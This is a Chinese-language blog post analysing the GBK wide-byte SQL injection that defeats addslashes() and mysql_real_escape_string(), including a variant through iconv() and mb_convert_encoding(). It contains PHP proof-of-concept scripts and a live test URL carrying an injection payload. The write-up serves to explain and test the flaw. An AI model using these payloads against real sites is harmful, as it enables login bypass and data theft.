其实这东西国内少数***早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。
该漏洞最 早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触发了。

        mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一：

改变mysql配置文件my.cnf
[client]
default-character-set=GBK

方法二：
在建立连接时使用

SET CHARACTER SET ‘GBK’  例：mysql_query(“SET CHARACTER SET ‘gbk’”, $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码

<?PHP  $c = mysql_connect(“localhost”, “user”, “pass”);  mysql_select_db(“database”, $c);   // change our character set  mysql_query(“SET CHARACTER SET ‘gbk’”, $c);   // create demo table  mysql_query(“CREATE TABLE users (  username VARCHAR(32) PRIMARY KEY,  password VARCHAR(32)  ) CHARACTER SET ‘GBK’”, $c);  mysql_query(“INSERT INTO users VALUES(‘foo’,'bar’), (‘baz’,'test’)”, $c);   // now the exploit code  $_POST['username'] = chr(0xbf) . chr(0×27) . ‘ OR usernameusername = username /*’;  $_POST['password'] = ‘anything’;   // Proper escaping, we should be safe, right?  $user = mysql_real_escape_string($_POST['username'], $c);  $passwd = mysql_real_escape_string($_POST['password'], $c);   $sql = “SELECT * FROM users WHERE username = ‘{$user}’ AND password = ‘{$passwd}’”;  $res = mysql_query($sql, $c);  echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records   ?> 

 纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知道字符集的情况下用默认字符集处理产生漏洞的。

 下面再来分析下国内最近漏洞产生的原因。

问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过addslashes() 加上的”\”失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。

根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试
$id1=mb_convert_encoding($_GET['id'], ‘utf-8′, ‘gbk’);
$id2=iconv(‘gbk//IGNORE’, ‘utf-8′, $_GET['id']);
$id3=iconv(‘gbk’, ‘utf-8′, $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：

<?PHP  $c = mysql_connect(“localhost”, “user”, “pass”);  mysql_select_db(“database”, $c);   // change our character set  mysql_query(“SET CHARACTER SET ‘gbk’”, $c);   // create demo table  mysql_query(“CREATE TABLE users (  username VARCHAR(32) PRIMARY KEY,  password VARCHAR(32)  ) CHARACTER SET ‘GBK’”, $c);  mysql_query(“INSERT INTO users VALUES(‘foo’,'bar’), (‘baz’,'test’)”, $c);   // now the exploit code  //$id1=mb_convert_encoding($_GET['id'], ‘utf-8′, ‘gbk’);  $id2=iconv(‘gbk//IGNORE’, ‘utf-8′, $_GET['id']);  //$id3=iconv(‘gbk’, ‘utf-8′, $_GET['id']);   $sql = “SELECT * FROM users WHERE username = ‘{$id2}’ AND password = ‘password’”;  $res = mysql_query($sql, $c);  echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records   ?> 

测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后记，这里不光是%bf，其它许多字符也可以造成同样漏洞，大家可以自己做个测试的查下，这里有zwell文章提到的一个分析http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值，详情请看我早期转载的一篇文章Bypassing script filters with variable-width encodings 。

============================================

另外参考http://obnus.blog.51cto.com/2001354/438714